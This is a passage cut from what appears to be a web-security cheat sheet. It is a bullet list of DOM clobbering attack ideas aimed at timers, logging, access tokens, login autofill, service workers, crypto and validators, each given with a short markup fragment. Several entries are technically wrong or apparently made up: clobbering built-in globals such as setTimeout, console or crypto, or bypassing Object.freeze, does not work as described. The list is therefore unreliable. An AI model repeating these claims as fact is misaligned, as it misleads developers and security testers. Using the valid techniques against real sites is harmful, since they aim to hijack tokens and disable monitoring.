clobbers injected before time-dependent APIs run. - Override
setTimeout
orclearInterval
with shadowed DOM objects to break async defenses in sandboxed payloads. - Trigger internal garbage collection inconsistencies via indirect clobbers (
__defineGetter__
,__lookupGetter__
). - Use CSS attribute selectors
[id="constructor"]
on clobbered DOM nodes to leak JS prototype chains. - Exploit
<iframe sandbox>
+srcdoc
nesting with clobbered fallback IDs to override execution policy transitions. - Disrupt error handling by clobbering
window.Error
,window.console
, orwindow.stackTraceLimit
. - Force browser inconsistency by using reserved characters (
<div id="\\u0066etch">
) that resolve to globals. - Defeat web workers using
name="Worker"
and injecting into the main thread’s DOM just before instantiation. - Trigger memory pressure misbehavior by inflating
document.all
with thousands of clobbered numeric keys. - Override critical observables (e.g.,
ResizeObserver
,IntersectionObserver
) via name-collision DOM injection. - Poison
addEventListener
overloads by inserting named clobber forms with handler-like method references. - Bypass
Object.freeze()
sandboxing by pre-poisoning the global object graph before the sandbox executes. - Clobber
URLSearchParams
using query-based DOM injection (?name=constructor
) and SSR hybrid misparsers. - Trigger ESM fallback misbehavior by clobbering
<script type="module" id="import">
in hybrid ES/CJS bundles. - Attack early DOM availability windows by injecting clobbers directly into
document.write()
streams. - Clobber service worker registration paths by poisoning registration scripts via DOM mutation observers.
- Manipulate native token validation with
id="access_token"
collisions inside auto-loaded<iframe>
s. - Disable logging or monitoring via
id="log"
clobbers that overrideconsole.log
or internal logger names. - Interfere with native lazy loading by injecting
id="loading"
orname="loading"
elements inside<img>
. - Override
Intl.DateTimeFormat
behaviors by inserting shadowed locale-resolution DOM tags. - Force XSLTProcessor misbehavior with
name="documentElement"
orid="stylesheet"
during DOM-based transforms. - Insert clobbers into
location.hash
-driven routers to hijack SPAs with path-based routing (#id=location
). - Preload fake
<link rel="manifest" href="...">
clobbers to override PWA config resolution. - Exploit
performance.now()
manipulation via clobbered fallback objects passed to timing APIs. - Disable
window.crypto.subtle
in legacy apps with fallback crypto libraries by injectingname="crypto"
. - Hijack autocomplete behavior in login flows by clobbering
name="username"
andname="password"
during prefill. - Trick visual test automation (e.g., Percy, Playwright) via
id="viewport"
orid="screenshot"
collisions. - Break contentEditable logic by injecting clobbers into live editable elements (
id="execCommand"
). - Override regex-based validators by injecting
id="RegExp"
or similar near pattern-matching logic. - Force premature
innerText
ortextContent
misresolution viaid="text"
orname="length"
clobbers.